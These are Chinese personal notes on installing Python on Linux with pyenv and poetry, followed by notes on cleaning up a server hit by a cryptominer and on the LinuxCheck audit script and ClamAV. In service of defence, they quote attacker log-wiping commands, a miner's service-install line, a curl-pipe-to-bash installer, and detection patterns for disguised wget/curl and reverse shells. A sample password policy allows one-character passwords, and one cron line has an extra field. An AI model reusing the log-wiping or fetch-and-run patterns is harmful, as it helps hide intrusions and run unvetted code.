* 编译的程序通常会依赖各种包,这个要看开发者给出相应提示安装哪些包了。
***优解:(pyenv+pipx+poetry) x [Thanks-Mirror](https://github.com/eryajf/Thanks-Mirror)***
## 查阅python简单安装相关信息汇总
[Linux上面碰到鬼畜逆天级的软件依赖关系大家都是怎么解决的? - 三级狗的回答 - 知乎](https://www.zhihu.com/question/291606128/answer/1194596591) 讲到了一些关键的要因,这也是他个人经验上的总结:
1. 提示即将安装某软件,但是现在的系统内的版本高于现在的版本,相当于系统不建议我们再搞了;如果非要硬上,很可能会破坏现有的程序依赖结构。
2. 接第一点话题来说,影响小,软件崩溃,或影响其他软件的正常使用;影响大,用户界面、资源管理、甚至系统加载都会出问题。
3. dpkg、rpm两者都可以各自安装,只要安装的相关软件没对系统做特别要求,都能装。某个软件版本在一个管理包低了,就换个管理包装(互补)。
知乎链接的答主这么能折腾的人,都没写面板的方式安装。更大可能是当时(2020.5)的宝塔这类的web面板还不支持这项功能。同时也注意到了除虚拟容器docker之外的包管理器“nix”,从[ssine-Nix 入门介绍](https://ssine.ink/posts/intro-to-nix/)可以看出,使用nix的目的,不用去关心各种依赖,省心安装与卸载软件,能更好的管理软件环境。不由得感慨微软的兼容方面做得确实相当好。
安装方式查看资料:
| [51cto(译文)-Nix:纯粹功能型的Linux软件包管理器](https://www.51cto.com/article/587341.html) | [清华大学开源软件镜像站-Nix 镜像使用帮助](https://mirror.tuna.tsinghua.edu.cn/help/nix/) |
| ------------------------------------------------------------ | ------------------------------------------------------------ |
测试`nix-shell -p python311`安装与验证版本后,发现也这nix包管理器实际上也是管理包环境沙箱,类同于Mac下的PD虚拟机那种逻辑。还有比docker好的一点就是,名称和进程不会像docker管理的有些乱。
## 编译安装体验
Linux终端的软件生态特性,照着他人博客来几乎一开始就必然失败的...所以先从基础的了解开始,再来慢慢编译安装、配置什么的。
### 对make的了解
> 引用自 [webplus pro-浅析./configure、make、make install之间的关系](http://www.sudytech.com/_s80/65/c4/c3276a26052/page.psp)
>
> ./configure 就是设计部出了一张设计稿,根据客户需要,符合各种要求
>
> make 就是前端组做好了模板
>
> make install 就是实施人员将模板上传至了后台,而且做了各种模板绑定,能真正看到实际展示效果
>
> make clean 清除编译产生的可执行文件及目标文件
补:这是对[cnblogs-编译安装](https://www.cnblogs.com/machangwei-8/p/15495528.html)的这些相关内容形象、生动化的说明;make veryclean的理解,可以将 定义执行规则的makefile文件删除,完完全全的“白手起家,自己造”了。
### 官网下载编译安装(单python版本环境)
[官网-在类Unix环境下使用Python](https://docs.python.org/zh-cn/3.11/using/unix.html#using-python-on-unix-platforms)
编译的话,是要指定目录`./configure --prefix=/usr/python`,而yum是不用的。
```shell
# 下载
wget https://www.python.org/ftp/python/3.11.2/Python-3.11.2.tgz
# 参考:[csdn-tar命令 zcvf,xvf的使用](https://blog.csdn.net/luolianxi/article/details/112915930)
# x解压、v过程、f指定文件名
tar -xf Python-3.11.2.tgz # 注意看解压名称。
# 进入目录
cd ~/Python-3.11.2
# 指定安装路径
./configure --prefix=/usr/python
# 编译安装
make && make install
# 创建软链接, -f 强制。
ln -sf /usr/python/bin/python3.11 /usr/bin/python3
```
## python多版本环境安装及官方遗留问题的思考
### poetry虚拟环境与Pyenv版本管理
据[csdn-virtualenv系列 (1) · 导致Python多版本依赖困境的根源](https://blog.csdn.net/bluishglc/article/details/128300113)所提到的Virtualenv来管理python的多个版本,就python而言基本上是这个形势了,Java是maven之类的多版本共存管理。虚拟环境选型,[pythonguidecn-Pipenv & 虚拟环境](https://pythonguidecn.readthedocs.io/zh/latest/dev/virtualenvs.html)、[csdn-使用 pipenv/virtualenv 安装任意版本的python虚拟环境](https://blog.csdn.net/weixin_35757704/article/details/125761674)。
看了不少文章pipenv安装python都会创建一个相关目录,那我先了解下pipenv多版本共存原理,看看是不是一种共通的规则,还是文章作者自行定义的。“首先设置一下编译要存放的目录,这里不要放到系统环境下,方便后续创建虚拟环境的管理”。[文章这样说](https://blog.csdn.net/weixin_35757704/article/details/125761674),再结合当前环境,看来是有必要了。又从[python依赖管理和构建工具Poetry的原理以及用法](https://www.yisu.com/zixun/542969.html)以及后续的相关文章,我发现基本上没看到python版本的切换的内容,大多只是生成虚拟环境。为此也是额外去了解了[poetry管理python开发环境学习小记](https://blog.csdn.net/wuzhongqiang/article/details/125861099)所提到的“Pyenv”。
从这次经历来看,python是一款相当依赖第三方工具包的脚本语言,shell倒还好。如果一个项目依赖于另一个工具包,而另一个工具包又依赖于另外的项目,那会过于套娃,体验极差。当前的虚拟环境工具更侧重于生成相关的python版本环境,虽然虚拟环境也附带有版本控制的功能,但如果要灵活地选择性的切换python版本,那还是版本控制工具更好。
感想:有时看的内容多了,还是停下来梳理下逻辑点。因为初次接触已经体系化但“小众”的东西,所翻阅到资料,根据我现在总结的经验,其实多数时候并不是依照框架体系一步步走的,而是跳跃式的知识逻辑。所以需要“停下来”建立逻辑点。
### 从不少博客中看到的python安装依赖项分析
据[cnblogs-Linux下编译安装python3](https://www.cnblogs.com/freeweb/p/5181764.html)所说,“如果没有这些模块在后面使用会出现一些问题”,顺便附上我自己翻阅资料的补充与解读注释。
```shell
# 更新yum源,yum更新,安装yum常用工具包
# 因为部分工具是需要更新yum源及工具包依赖才能安装
yum install epel-release && yum update && yum install yum-utils
# 涉及传输与压缩;devel 表示开发库
yum -y install zlib zlib-devel
# 无损压缩数据相关的东西
yum -y install bzip2 bzip2-devel
# 屏幕绘制以及基于文本终端的图形互动功能的动态
yum -y install ncurses ncurses-devel
# 没有readline则交互式界面删除键和方向键都无法正常使用
yum -y install readline readline-devel
# openssl则不支持ssl相关的功能(我的理解是影响到python支持其相关增强功能)
yum -y install openssl openssl-devel
# openssl编译成静态库, 包含进工程的好处是可以避免系统中其他openssl版本的影响
# 在centos 8测试下没有这个 penssl-static 文件
# 观点验证:[cnblogs-centos8安装python3.8.5](https://www.cnblogs.com/tyjs09/p/14849249.html)
yum -y install openssl-static
# 两个压缩工具
yum -y install xz lzma xz-devel
# 给Linux存放临时数据调用信息的数据库
yum -y install sqlite sqlite-devel
# [csdn-[转]GDBM学习笔记](https://blog.csdn.net/heiyeshuwu/article/details/51519388)
# 从上方的文章得知,简单说就是数据持久化用的数据库系统。
yum -y install gdbm gdbm-devel
# 图形用户界面库
yum -y install tk tk-devel
# [cnblogs-外部函数接口 LibFFI](https://www.cnblogs.com/feng9exe/p/10396313.html)
# 从上方文章得知,是一种语言调用另一种语言的库
yum -y install libffi libffi-devel
# uuid也装上
yum -y install uuid uuid-devel
```
1. 这么多需要安装的依赖,我推测更大的可能是博客作者自己的需求,而不是python本身的必装项。我想,不少这方面转载及教程的笔者,可能混了许多的个人项,甚至一些依赖的作用关系,可能他自己也不清楚,只知道这样装不会错就行了。(安装python 3.10的推论)
2. 从[nginx安装过程中为啥同时需要zlib与zlib-devel,不是有zlib就可以了吗?](https://segmentfault.com/q/1010000041534545)问题的回答,得知是Linux发行版的分包策略所致,“运行环境”与“构建环境”相区分。
3. 较早的源头可能出自此处[python-forum.io-Libraries needed for python install?](https://python-forum.io/thread-5368.html),依靠专业人士的解答得来的需要安装哪些依赖,广而告之。(安装python 3.9之后的想法)
之所以做出第三点的推测,是由于我查看pyenv生成的 /tmp/python-build.log 出现以下报错的进一步推测。
```
编译中断。
Python build finished successfully!
The necessary bits to build these optional modules were not found:
_bz2 _dbm _gdbm
_hashlib _lzma _sqlite3
_ssl _tkinter _uuid
nis readline
```
最后,从1~3点推测:编译安装的开发者大概率一开始认为我们是知道需要安装哪些依赖包的(不排除只是为了缩小体积...),随着使用人越来越多,为了推到更广的人群,后续高版本,开发者补上了一些依赖包。
综合资料:
* [python-forum.io-Libraries needed for python install?](https://python-forum.io/thread-5368.html) (讨论安装python需要的各种依赖)
* [csdn-centos yum-utils包详解](https://blog.csdn.net/xixihahalelehehe/article/details/105625710) (yum常用工具集)
* [Linux之一次性安装开发工具:yum groupinstall Development tools](https://www.cnblogs.com/zlslch/p/6033284.html) (同理于Mac的Xcode工具包)
### 安装高版本python、python版本控制及虚拟环境
tip:发现一个Linux查找包的网站:http://rpmfind.net ,以及Linux config:https://linuxconfig.org
受限于网络环境,不建议一键脚本,复制粘贴去执行就是;重在理解。
```shell
#----------------编译安装前的准备工作,yum升级与安装各种依赖 ---------------
# 更新yum源,安装yum常用工具包,安装git,yum更新
yum -y install epel-release yum-utils git && yum update
# 安装python需要的各类依赖项目
yum -y install zlib zlib-devel bzip2 bzip2-devel ncurses ncurses-devel \
readline readline-devel openssl openssl-devel xz lzma xz-devel sqlite sqlite-devel \
gdbm gdbm-devel tk tk-devel libffi libffi-devel uuid uuid-devel
# 安装 rpmfind.net 所找的 db4 包(旧了)
# yum localinstall http://rpmfind.net/linux/epel/7/x86_64/Packages/l/libdb4-devel-4.8.30-13.el7.x86_64.rpm
# groupinstall development 同理于Mac下的Xcode开发者工具包
# [unixmen-Yum ‘groupinstall’ – A Quick Introduction](https://www.unixmen.com/yum-groupinstall-a-quick-introduction/)
# yum groupinstall development
# --------- python版本管理工具 pyenv ----------
# 由于网络原因,过程会很久 ,而且即容易失败。
curl https://pyenv.run|bash
# 配置环境
echo 'export PYENV_ROOT="$HOME/.pyenv"' >> ~/.bashrc
echo 'command -v pyenv >/dev/null || export PATH="$PYENV_ROOT/bin:$PATH"' >> ~/.bashrc
echo 'eval "$(pyenv init -)"' >> ~/.bashrc
source ~/.bashrc
# -------pipx包管理工具与poetry虚拟环境---------
# 因为通过pipx安装poetry,及其简单又不会出现其他报错
# 此外通过pipx安装的包,可照常升级,不会出现全局的兼容异常问题。
pip3 install pipx
pipx install poetry
pipx ensurepath
# 刷新配置好的环境变量
source ~/.bashrc
# rm -rf ~/.pydistutils.cfg
## -----------从pyenv中安装不同版本的python-------- ##
pyenv install 3.9
pyenv global 3.9
poetry new env-python3.9 && cd env-python3.9
poetry env use $(which python3.9)
```

翻阅资料:[zhihu专栏-pipx - 为 Python 应用构建独立的安装与运行环境](https://zhuanlan.zhihu.com/p/330676831)、[csdn-安装poetry](https://blog.csdn.net/not_so_bad/article/details/127705403)、[Linux中国-Pipx:在隔离环境中安装和运行 Python 应用](https://zhuanlan.zhihu.com/p/73675447)。
================================================
FILE: AQUICK/CLINUX/LINUXZERO-0.md
================================================
# Linux中病毒后的排查
## 前言
日常备份及恢复快照是最简单省心的操作。没有有这方面措施的话,只能靠着经验,以及思考可能性(编程逻辑、受众面相),并参考相关病毒处理的资料(附带病毒源码的解读最好;有精力的朋友,也可再查查知网有什么研究资料),来一步步梳理与排查了。中挖矿病毒什么的,排查这如下两大项,基本上也差不多了。后续可根据自己情况,装杀软、找云服务专员综合处理,看自己需求了。
1. 排查异常任务程序、服务模块,以及网络传输端口。
2. 检查账户配置,如:密码、密钥与通行证存档、用户及用户组
ps:限制IP范围的策略,其实挺有必要的。自身所处IP网段,由于运营商的不同,以及地区的不同,通常公司与家里公网IP差异是很大的。虽然公网IP是临时的,但一个在小范围的内,通常变动不大。因为常常变动的话,一是要有足够的IP资源,二是运营商不断调配IP,也会极大增加维护人工时间与物力成本。更何况现在的家庭网络路由器都是公网IP一个IP共享给多个主机、移动终端上网,这也是少有变动。
现在有了热心人写的脚本[al0ne/LinuxCheck](https://github.com/al0ne/LinuxCheck)、思科开源的杀软[clamav杀毒](https://github.com/Cisco-Talos/clamav),相对来说比之前省心力了不少。不想看这些繁琐排查记录的朋友,对前言的Linux自检脚本与思科杀软clamav有个大概了解就好,然后直接跳到[快速使用自检脚本与杀软](/LINUXZERO-0.md#L130)与[检查账户相关的后门](/LINUXZERO-0.md#L71)部分。
## 排查异常任务及程序
### 查看命令记录与操作日志记录
查看 `cat /root/.bash_history` ,一般情况黑客都会进行`echo > .bash_history`...基本上也看不到什么记录。不过使用"journal"是可以的,个人推测日志是系统守护进程,而且自己试验过,即使使用日志完全清除命令 `rm /var/log/journal/* -rf;systemctl restart systemd-journald`,也依然会在系统留有一些相关的命令记录痕迹。
`journalctl -u sshd.service` 查看ssh服务日志,看下日常ssh被尝试登录的记录。 然后`id username`看下用户uid,`journalctl _UID=0 -n 50`查看50行root用户行为操作记录。目前的当务之急是处理掉异常程序和账户密钥后门,之后的什么的慢慢排查,如果是[维护运营团队组织的分析,处理事件的优先级那另说](https://www.bilibili.com/read/cv17795783)。
参考:[csdn-journalctl -xe命令(系统日志查询)的使用](https://blog.csdn.net/enthan809882/article/details/104551777/)、[cnblogs-linux下的系统服务管理及日志管理](https://www.cnblogs.com/yuzhaokai0523/p/4453094.html)
### 排查当前存在异常进程
**使用`top`打开任务管理器,`kill -9 进程名`。** 参考:[pomit-Linux中的kill与kill -9](http://www.pomit.cn/tr/5063499771865601)。简单说,"-9"这参数就是不给程序收尾的时间,立马强行中止;这样的话,程序无法完成其下一步将要进行的计划。也可以`man`加单个指令,查看使用详情。
**使用`crontab -l`查看所有的定时任务。** 参考:[csdn-阿里云ECS遭挖矿程序攻击解决方法(彻底清除挖矿程序,顺便下载了挖矿程序的脚本)](https://blog.csdn.net/NicolasLearner/article/details/119006769)、[csdn-crontab -r删除后恢复](https://blog.csdn.net/only_cyk/article/details/123550872)。
**将`/var/spool/cron/用户名文件`的备份,覆盖掉感染病毒的主机定时任务文件。** 没有备份文件的话,就只能`cat /var/spool/cron/用户名文件`,再逐个通过`crontab -e`编辑去删除可疑任务了。
(注:定时任务并不会回显在终端,但可用注入文本`*/1 * * * * echo "hello world" >> hello.txt` 来调试,及查看日志`cat /var/log/cron`看结果。)
### 异常流量程序及传输端口
`netstat -u -nat`再看看端口网络协议连接状态,结合`lsof -i 4` 对ipv4连接情况进行分析 ,再使用`kill -9`杀掉相关进程。
ps:也可安装网卡流量监测程序并启动,查看异常的传输流量。`yum install -y iftop && iftop -i eth0 -nNP`,为防止蠕虫病毒通过局域网内部传输的可能性,先临时关闭FTP(21)、SMB(139、445)。
参考:[csdn-Linux定位流量异常指南](https://blog.csdn.net/q2365921/article/details/125006136)、[csdn-Linux 命令 | 常用命令 lsof 详解 + 实例](https://blog.csdn.net/nyist_zxp/article/details/115340302)
## 排查可疑文件、服务模块、自启程序
**48小时内被修改的文件 `find ./ -ctime -2`,并找出相关记录中的可疑文件。**
**`ll /etc/systemd/system/` 查看可疑最近新增的服务模块;`chattr -i`+文件名,使得文件可以rm掉。**
**`cat /etc/rc.local`,查看可疑的自启程序、服务、脚本等**
梳理Linux启动流程,图转自:[Linux启动管理 - /etc/rc.d/rc.local配置文件用法](http://c.biancheng.net/view/1023.html)

个人觉得`rpm -Va`验包的作用不是很大,我在重装过的腾讯云主机上试用了下,也会扫描出遗漏、改动什么的,而且耗时挺久的。`echo $PATH`看环境变量,倒是有点用,类似于排查软链接后门,在`.bash_profile`及`/etc/profile`临时看下情况就好了。
参考:
* [csdn-linux中查看新增的文件](https://blog.csdn.net/qq_17576885/article/details/121995103)
* [Linux *.service文件详解](https://blog.csdn.net/weixin_44352521/article/details/126679172)
* [腾讯云-Linux之init.d、rc.d文件夹说明](https://cloud.tencent.com/developer/article/1533529)
* [csdn-rpm -Va 详解](https://blog.csdn.net/genglei1022/article/details/81352635)
* [csdn-计算机常用端口号大全](https://blog.csdn.net/weixin_42828010/article/details/127500199)。
* [百度经验-如何修改Linux操作系统的环境变量?](https://jingyan.baidu.com/article/afd8f4de8b5fe275e286e9e5.html)
* [cnblogs-Linux启动过程详解](https://www.cnblogs.com/notepi/archive/2013/06/15/3137093.html)
* [csdn-Linux系统启动流程(超详细)](https://blog.csdn.net/shuju1_/article/details/126201364)
* [Linux启动管理 - /etc/rc.d/rc.local配置文件用法](http://c.biancheng.net/view/1023.html)
* [cnblogs-linux 启动过程](https://www.cnblogs.com/rebrobot/p/16873847.html)
以及挖矿病毒源码 `sudo mv /tmp/c3pool_miner.service /etc/systemd/system/c3pool_miner.service` 启发,让我注意挖矿病毒在服务模块上,都还给我塞自启后门。
## 快速使用自检脚本与杀软
自检脚本:[al0ne/LinuxCheck](https://github.com/al0ne/LinuxCheck);Linux杀软:[Cisco-Talos/clamAV](https://github.com/Cisco-Talos/clamav)。
### 自检脚本快速使用
安装脚本使用前提项“ the_silver_searcher”、“git”。
```
yum -y install the_silver_searcher && yum -y install git
```
git下载自检脚本,赋予读写执行权限并执行。
```
git clone https://github.com/al0ne/LinuxCheck.git &&\
cd LinuxCheck && chmod u+x LinuxCheck.sh &&\
./LinuxCheck.sh
```
### ClamAV简明使用
安装ClamAV杀毒与更新病毒库
```
yum install clamav && freshclam
```
扫描;-r:迭代目录;-l:指定路径;--max-dir-recursion:指定目录层级。
```
clamscan -r /etc --max-dir-recursion=5 -l /var/log/clamav-scan.log
```
扫描根目录,记录到日志,并删除可疑文件。
```
clamscan -r / -l /var/log/clamscan.log --remove
```
设置定时,每晚3点执行杀毒(非必要,仅记录)
```
0 3 * * * * clamscan -r / -l /var/log/clamscan.log --remove
```
参考:
* [Linux命令之查看执行过的历史命令history](https://blog.csdn.net/cnds123321/article/details/124903516)
* [bilibili专栏-应急响应专题(Linux应急响应)](https://www.bilibili.com/read/cv17867865/)
* [csdn-云服务器Linux挖矿病毒杀毒软件clamscan安装](https://blog.csdn.net/m0_59069586/article/details/126956289)
* [51cto-Linux下杀毒软件(ClamAV)安装及使用](https://blog.51cto.com/u_9691128/4293334)
* [betheme.net-centos7.6 yum安装clamav 进行病毒扫描查杀](https://betheme.net/news/txtlist_i98729v.html)
* [cnblogs-Linux中定时任务](https://www.cnblogs.com/rxysg/p/15671784.html)
* [csdn-Linux 定时任务详解](https://blog.csdn.net/yang_z_1/article/details/118072966)
* [csdn-BASH脚本基础:环境变量PROMPT_COMMAND介绍](https://blog.csdn.net/liumiaocn/article/details/104113262)
* [cnblogs-Linux Shell 中 > 和 >> 的异同点和应用场景](https://www.cnblogs.com/miracle-luna/p/11809725.html)
## 检查账户相关的后门
若是黑客使用了 `echo > /var/log/wtmp && echo > /var/log/btmp` ,那么用这去`lastlog | head -n 15` 看可疑用户登录记录,就没辙了。详情看我在【病毒分析区】[记阿里云主机再一次被黑客恶意脚本攻击](https://www.52pojie.cn/thread-1743103-1-1.html)对病毒源码的解读。
### 检查可疑账户
`getent passwd {1000..60000}`,查看除root外的所有用户。`id`+“用户名” 可查看用户所属组,并查看存在特权组的可疑用户 `cat /etc/group|grep wheel`。
删除用户`userdel -r 用户名`;将用户加入到组 `usermod -G wheel user01`。
`echo "SU_WHEEL_ONLY yes" >> /etc/login.defs` 仅限wheel组用户可以sudo特权提升。`vi /etc/pam.d/su` 并检查sudo权限的配置文件,去掉如下指令注释,防止其他用户提权。
```
# auth required pam_wheel.so use_uid
```
### ssh密钥后门
从根目录搜索".ssh"文件夹,看看是否存在可疑的authorized_keys。
可疑点:
* `diff`比对备份的authorized_keys,发现有差异。
* 可疑家目录的用户及其他文件夹,有多余的authorized_key。
```
cd / && find -name .ssh
```
### 密码策略后门
既然已经被入侵,现在应该注意改密码了,以及查看密码策略`vi /etc/pam.d/system-auth`
```
# 失败3次封锁300秒
auth required pam_faillock.so preauth silent audit deny=3 unlock_time=300 even_deny_root
# 密码验证三次,忽略大小写特殊字符,最小长度1位密码
password requisite pam_pwquality.so try_first_pass local_users_only retry=3
password requisite pam_pwquality.so authtok_type= lcredit=0 ucredit=0 dcredit=0 ocredit=0 minlen=1
```
`chage -l root`检查账户是否存在变更与过期,以及`vi /etc/login.defs`
```
PASS_MIN_DAYS 0 # 两次修改密码的最小间隔时间,0表示可以随时修改账号密码
PASS_MIN_LEN 8 # 密码最小长度,对于root无效。
PASS_WARN_AGE 7 # 密码过期前多少天开始提示。
PASS_MAX_DAYS 99999 # 99999表示永不过期。
```
* [潇湘隐者-Linux账户密码过期安全策略设置](https://www.cnblogs.com/kerrycode/p/5600525.html)
* [myfreax-Linux getent 命令列出所有用户](https://www.myfreax.com/linux-getent-command-to-list-all-users/amp/)
* [csdn-Linux学习笔记之CentOS7的 wheel组](https://blog.csdn.net/kfepiza/article/details/124701762)
* [csdn-wheel用户组 普用户禁止su 到root 用户设置 Linux](https://blog.csdn.net/MrFDd/article/details/118492246)
* [cnblogs-linux中添加一个用户到指定用户组的两种方式,修改一个用户到指定用户组的一种方式](https://www.cnblogs.com/alonely/p/9425327.html)
* [51cto-kdevtmpfsi挖矿病毒清除](https://blog.51cto.com/liuyj/5205391)
* [【实用】防暴力破解服务器ssh登入次数](https://cloud.tencent.com/developer/article/2142596)
* [为什么 Linux 内核不适合国家防御](https://blog.yurunsoft.com/a/68.html)
* [Linux系统安全隐患及加强安全管理的方法](https://www.cnblogs.com/myphoebe/archive/2011/08/09/2131982.html)
## 后续调整
[clamav杀毒](https://github.com/Cisco-Talos/clamav)、linux安全隐患检查脚本[al0ne/LinuxCheck](https://github.com/al0ne/LinuxCheck)留着备用的同时,我打算做如下六步策略。
1. 使用fail2ban。
2. 关闭root账户,将自己账户加入wheel组。
3. 密码非Linux初始规律的简单变形密码,如:P@ssw0rd。
4. 将来自己在云存有数据资料什么,备份快照就十分有必要了。
5. 云主机绑定公司与家之间的IP范围(可选)
6. 只限ssh密钥登录(可选)
================================================
FILE: AQUICK/CLINUX/LINUXZERO-1.md
================================================
# 自检与杀毒类民工科研究
了解个大概怎么回事就行了,至少不要想黑盒测试一样。顺便还看了几篇还不错的排查文章:
* [温州市公安局网络安全保卫支队-我的云服务器被植入挖矿木马,CPU飙升200%](https://baijiahao.baidu.com/s?id=1717502061981148613&wfr=spider&for=pc)
* [先知社区-linux常见backdoor及排查技术](https://xz.aliyun.com/t/10079)
* [上海音乐学院-下周计算机病毒预报 (2022年10月17日至2022年10月23日)](https://netc.shcmusic.edu.cn/2022/1017/c1811a45093/pagem.htm)
* [华工物院研究生-【我为群众办实事】反“挖矿”复习范围全汇总!“全校统考卷”干货都在这里](https://mp.weixin.qq.com/s?__biz=MzUzOTQ4MTg0Nw==&mid=2247490046&idx=1&sn=ee95986fd473816f5945b4a335b724d1)
## LinuxCheck自检脚本功能陈列
自检脚本功能陈列(非源码、仓库说明顺序,仅个人写作方便),以及个人对该脚本处理执行意义推测(括号内):
### 检查内容分解 上
* 部分类型的挖矿木马检测、常规挖矿进程检测
* Python3 pip 检测(推测是脚本自身用到的依赖项检测,以及python也挺普遍的,二者都有吧)
* JSP、PHP webshell查杀 (常规,杀软河马查杀也有效果)
* Redis弱密码检测 (数据库缓存服务暴露在公网上,服务没设置密码,攻破后导致数据随意访问)
* SSH检查:SSH key显示罗列(比对用的)、SSH inetd(特权提升)、软连接后门、SSH暴破IP统计
* Rootkit检查:
* lsmod可疑模块罗列(认为可疑的逻辑:控制系统内存,以及类似增强型功能的支持扩展,可能造成系统不稳定。)
* Rootkit 内核模块(病毒样本的模块吧)
* `/usr/src/ofa_kernel/default/compat/mlx_compat.ko`
通过`modinfo mlx_compat`的回显来看,大概是兼容、移植用的;百度再往下搜就会找到“学术”、“专利”相关的文章,这倒让我挺惊奇意外的。
参考:
* [csdn-linux权限提升——inetd服务后门](https://blog.csdn.net/qq_50854790/article/details/123014484)
* [cnblogs-losbyday-SSH详解](https://www.cnblogs.com/losbyday/p/5859880.html)
* [cnblogs-lsmod命令详解](https://www.cnblogs.com/machangwei-8/p/10398706.html)
* [linuxstack-linux命令 - lsmod, 显示已载入系统的模块](https://www.oomspot.com/post/linuxminglinglsmodxianshiyizairuxitongdemokuai)
* [csdn-【linux】内核模块管理:lsmod、insmod、rmmod、modinfo、modprobe、depmod命令](https://blog.csdn.net/bandaoyu/article/details/128582615)
* [刘大湿-[Linux] modinfo命令:显示kernel模块的信息](https://www.liuzhongwei.com/page/2194.html)
* [csdn-Redis?它主要用来什么的](https://blog.csdn.net/u014723137/article/details/125658176)
* [csdn-Redis系列漏洞总结](https://blog.csdn.net/weixin_52118430/article/details/127441743)
* [csdn-Redis漏洞汇总](https://blog.csdn.net/Jietewang/article/details/119540542)
* [浅析Linux系统入侵排查与应急响应技术](https://zhuanlan.zhihu.com/p/450512117)
### 检查内容分解 中
* Bash配置检查:
* History (**`history -a` 从缓存中取出历史记录。**)
* `/etc/rc.local` (**是`/etc/rc.d/rc.local`的软连接,查看自启服务的;**默认没有执行权限,需手动修改。)
* `/etc/profile` (**全局的环境变量配置文件**,这里修改会对所有用户起作用。)
* `$HOME/.profile` (**对当前用户的家目录的有用,修改后,`source`更新**)
* `~/.bash_profile` (**它只能登入的时候执行一次。**)
* `~/.bashrc` (**同`~/.bash_profile`,最大区别:shell script每次都会执行。**)
* bash反弹shell(**简单粗糙的理解就是,我执行的shell,传到你机器上执行。**)
* 环境变量检查:
* PATH
* LD_PRELOAD(**抓关键句快速了解:它允许你定义在程序运行前优先加载的动态链接库,另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。**)
* LD_ELF_PRELOAD、LD_AOUT_PRELOAD (**ELF,简单理解,参与程序的调度连接与执行。(涉及汇编知识)**)
* PROMPT_COMMAND (`export PROMPT_COMMAND="echo Hello" `查看异常的命令导入)
* ld.so.preload (**通过配置`/etc/ld.so.preload`,可以自定义程序运行前优先加载的动态链接库**)
* 服务信息检查与任务检查:(**主要问题点是隐藏后门,植入一般用户不了解的模块、运行编辑器附加命令、系统回显截断机制。**)
* 正在运行的Service
* 最近添加的Service
* Crontab
* Crontab Backdoor
参考:
* [知乎专栏-Linux 简要后门入门](https://zhuanlan.zhihu.com/p/486774390)
* [先知社区-linux常见backdoor及排查技术](https://xz.aliyun.com/t/10079)
* [csdn-Linux history -w 与 history -a 功能区别](https://blog.csdn.net/weixin_44629980/article/details/124467009)
* [简书 - /etc/profile - 环境变量](https://www.jianshu.com/p/1dd22f5b521a)
* [csdn - linux的/etc/rc.local文件(开机自启)](https://blog.csdn.net/ws_kfxd/article/details/110088503)
* [云海天教程网-bashrc与profile的区别](https://www.yht7.com/news/9382)
* [cnblogs-反弹bash shell命令详解](https://www.cnblogs.com/pandana/p/16289320.html)
* [tinylab-一起看看那些经典的 LD_PRELOAD 用法](https://tinylab.org/using-ld_preload/)
* [奇安信攻防社区-深入分析 LD_PRELOAD](https://forum.butian.net/share/1493)
* [csdn -linux库的制作--静态库、动态库(共享库)](https://blog.csdn.net/qq_54075859/article/details/126611696)
* [简书-ELF文件运行时动态链接](https://www.jianshu.com/p/16e97c8e629f)
* [cnblogs-LD_PRELOAD的偷梁换柱之能](https://www.cnblogs.com/net66/p/5609026.html)
* [先知社区-蓝队基础:安全运维防护浅析](https://xz.aliyun.com/t/10197)
* [csdn-BASH脚本基础:环境变量PROMPT_COMMAND介绍](https://blog.csdn.net/liumiaocn/article/details/104113262)
* [温州市公安局网络安全保卫支队-我的云服务器被植入挖矿木马,CPU飙升200%](https://baijiahao.baidu.com/s?id=1717502061981148613&wfr=spider&for=pc)
### 检查内容分解 下
* 文件检查:
* 系统文件修改时间
* 7天内改动文件、大于200M文件
* 可疑黑客文件(`.*wget、.*curl、.*openssl、.*mysql`,可以理解为黑客植入程序脚本的伪装)
* 敏感文件 (识别机制:Nikto、ettercap文件名等黑客工具,以及miner挖矿之类文件等)
* 隐藏文件与临时目录/tmp
* alias (检查建立过的别名)
* SUID:/usr/libexec/abrt-action-install-debuginfo-to-abrt-cache (简单理解为有suid授权的用户,等同于持有文件权限的尚方宝剑)
* lsof +L1 (寻找本地断开的打开文件,网上文章不少表示“显示所有打开的链接数小于1的文件”,真是看不明白...)
* 基础配置检查:
* 系统配置信息、登陆用户、hosts
* CPU使用率/CPU TOP15/内存占用 TOP15、内存占用/硬盘剩余空间
* 硬盘挂载、常用软件
* 网络/流量检查
* ifconfig、网卡混杂模式(网络抓包工具就是网卡的混杂模式)、TCP连接类别
* 对外开放端口、端口监听(百度百科-端口监听:我们都知道远程访问一台机器的共享目录实际是访问139端口,那么只要对本机139的监听就可以察觉对远程的访问请求。)
* 网络连接、网络流量、路由表、路由转发(即路由中继)
* DNS、ARP、IPTABLES
* 用户信息检查:可登陆用户、登录信息、密码文件修改日期、sudoers(特权提升文件)
参考:
* [码农家园-linux命令 lsof](https://www.codenong.com/cs105817189/)
* [linuxcn-Linux 命令神器:lsof 入门](https://linux.cn/article-4099-1.html)
* [Prayer-lsof,linux和unix下的一个诊断分析工具](http://www.cppblog.com/prayer/archive/2009/04/01/78596.html)
* [csdn-Linux 权限管理_文件特殊权限SetUID、SetGID和Sticky BIT 学习总结(四)](https://blog.csdn.net/Superman_Gao/article/details/124536449)
* [cnblogs-最详细Linux提权总结(建议收藏)](https://www.cnblogs.com/sfsec/p/15163907.html)
* [csdn-中间人攻击——ettercap的使用](https://blog.csdn.net/m0_57069925/article/details/125198711)
* [csdn-Kali-登录暴力破解器工具-medusa使用](https://blog.csdn.net/weixin_44257023/article/details/126976129)
* [简书-【network】开启网卡的混杂模式](https://www.jianshu.com/p/42d88c0c47db)
## 附:clamav 杀毒
更新病毒库,MD5校验及特征码识别。从文档上,我个人的理解上是没有启发式识别的。
参考:
* [clamav官网-faq-scan-alerts](https://docs.clamav.net/faq/faq-scan-alerts.html)
* [华南理工大学-Linux服务器安装杀毒软件ClamAV 并配置邮件告警操作指南](https://web.scut.edu.cn/2022/0321/c32211a464688/page.htm)
* [河马 webshell扫描器 for windows 使用手册](https://www.shellpub.com/doc/hm_win_usage.html)
* [病毒吧官方账号-杀毒软件是怎么工作的?病毒吧来告诉你 ](https://www.bilibili.com/video/BV1zs4y1t7Lv)
* [zabbx-clamav开源杀毒软件部署和使用](https://www.zabbx.cn/archives/clamav开源杀毒软件部署和使用)
* [安全内参-五大网络空间攻击威胁及应对策略](https://www.secrss.com/articles/25492)
* [青藤云安全-攻防演练中常见的8种攻击方式及应对指南](https://www.qingteng.cn/think-tank/safety-study/62da497b59bbf700428a4334.html)
================================================
FILE: AQUICK/CLINUX/LINUXZERO-2.md
================================================
